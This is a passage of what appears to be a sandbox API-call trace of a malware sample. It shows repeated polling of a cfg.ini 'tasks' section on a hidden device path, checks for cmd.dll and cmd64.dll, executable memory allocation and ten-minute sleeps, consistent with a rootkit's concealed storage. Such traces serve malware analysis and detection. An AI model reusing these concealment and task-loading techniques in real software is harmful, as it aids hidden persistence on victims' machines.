out: FastMutex=0xfffffa80027d3898) [0126.200] KeLeaveCriticalRegion () [0126.200] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.200] KeEnterCriticalRegion () [0126.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.200] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.200] IdePortDispatch () returned 0x103 [0126.200] KeWaitForMutexObject () returned 0x0 [0126.200] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.200] KeLeaveCriticalRegion () [0126.200] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.200] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.200] KeEnterCriticalRegion () [0126.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.200] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cf000 [0126.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.200] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.200] IdePortDispatch () returned 0x103 [0126.201] KeWaitForMutexObject () returned 0x0 [0126.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.201] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.201] IdePortDispatch () returned 0x103 [0126.201] KeWaitForMutexObject () returned 0x0 [0126.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.201] KeLeaveCriticalRegion () [0126.201] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.201] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.201] KeEnterCriticalRegion () [0126.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.202] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.202] KeLeaveCriticalRegion () [0126.202] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.202] KeEnterCriticalRegion () [0126.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.202] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.202] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac7240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.202] KeLeaveCriticalRegion () [0126.202] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.202] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.202] KeEnterCriticalRegion () [0126.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.202] ExFreePoolWithTag (P=0xfffffa800365bf60, Tag=0x0) [0126.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.202] KeLeaveCriticalRegion () [0126.202] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.202] ReleaseMutex (hMutex=0xf0) returned 1 [0126.202] Sleep (dwMilliseconds=0x927c0) [0126.216] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.216] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.216] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.216] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.216] KeEnterCriticalRegion () [0126.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.216] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.216] IdePortDispatch () returned 0x103 [0126.216] KeWaitForMutexObject () returned 0x0 [0126.216] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.216] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.216] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.216] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.216] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.216] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac96a0 [0126.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.217] KeLeaveCriticalRegion () [0126.217] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.217] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.217] KeEnterCriticalRegion () [0126.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.217] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.217] KeLeaveCriticalRegion () [0126.217] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.217] KeEnterCriticalRegion () [0126.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.217] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.217] IdePortDispatch () returned 0x103 [0126.217] KeWaitForMutexObject () returned 0x0 [0126.217] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.217] KeLeaveCriticalRegion () [0126.217] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.217] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.217] KeEnterCriticalRegion () [0126.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.217] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d4000 [0126.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.217] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.217] IdePortDispatch () returned 0x103 [0126.217] KeWaitForMutexObject () returned 0x0 [0126.218] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.218] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.218] IdePortDispatch () returned 0x103 [0126.218] KeWaitForMutexObject () returned 0x0 [0126.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.218] KeLeaveCriticalRegion () [0126.218] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.218] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.218] KeEnterCriticalRegion () [0126.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.218] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.218] KeLeaveCriticalRegion () [0126.218] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.218] KeEnterCriticalRegion () [0126.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.218] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.219] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac7240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.219] KeLeaveCriticalRegion () [0126.219] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.219] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.219] KeEnterCriticalRegion () [0126.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.219] ExFreePoolWithTag (P=0xfffffa8003ac96a0, Tag=0x0) [0126.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.219] KeLeaveCriticalRegion () [0126.219] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.219] ReleaseMutex (hMutex=0xf0) returned 1 [0126.219] Sleep (dwMilliseconds=0x927c0) [0126.232] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.232] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.232] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.232] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.232] KeEnterCriticalRegion () [0126.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.232] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.233] IdePortDispatch () returned 0x103 [0126.233] KeWaitForMutexObject () returned 0x0 [0126.233] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.233] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.233] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.233] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.233] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.233] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa980 [0126.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.233] KeLeaveCriticalRegion () [0126.233] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.233] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.233] KeEnterCriticalRegion () [0126.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.233] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.233] KeLeaveCriticalRegion () [0126.233] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.233] KeEnterCriticalRegion () [0126.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.233] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.233] IdePortDispatch () returned 0x103 [0126.234] KeWaitForMutexObject () returned 0x0 [0126.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.235] KeLeaveCriticalRegion () [0126.235] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.235] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.235] KeEnterCriticalRegion () [0126.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.235] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d9000 [0126.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.235] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.235] IdePortDispatch () returned 0x103 [0126.235] KeWaitForMutexObject () returned 0x0 [0126.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.235] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.235] IdePortDispatch () returned 0x103 [0126.235] KeWaitForMutexObject () returned 0x0 [0126.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.235] KeLeaveCriticalRegion () [0126.235] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.236] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.236] KeEnterCriticalRegion () [0126.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.236] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.236] KeLeaveCriticalRegion () [0126.236] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.236] KeEnterCriticalRegion () [0126.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.236] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.236] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac6830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.236] KeLeaveCriticalRegion () [0126.236] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.236] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.236] KeEnterCriticalRegion () [0126.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.236] ExFreePoolWithTag (P=0xfffffa8003bfa980, Tag=0x0) [0126.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.236] KeLeaveCriticalRegion () [0126.236] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.236] ReleaseMutex (hMutex=0xf0) returned 1 [0126.236] Sleep (dwMilliseconds=0x927c0) [0126.250] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.250] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.250] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.250] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.250] KeEnterCriticalRegion () [0126.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.250] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.250] IdePortDispatch () returned 0x103 [0126.250] KeWaitForMutexObject () returned 0x0 [0126.250] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.250] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.250] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.250] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.250] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.250] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e0300 [0126.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.250] KeLeaveCriticalRegion () [0126.250] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.250] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.250] KeEnterCriticalRegion () [0126.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.251] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.251] KeLeaveCriticalRegion () [0126.251] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.251] KeEnterCriticalRegion () [0126.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.251] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.251] IdePortDispatch () returned 0x103 [0126.251] KeWaitForMutexObject () returned 0x0 [0126.251] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.251] KeLeaveCriticalRegion () [0126.251] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.251] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.251] KeEnterCriticalRegion () [0126.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.251] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034de000 [0126.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.251] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) 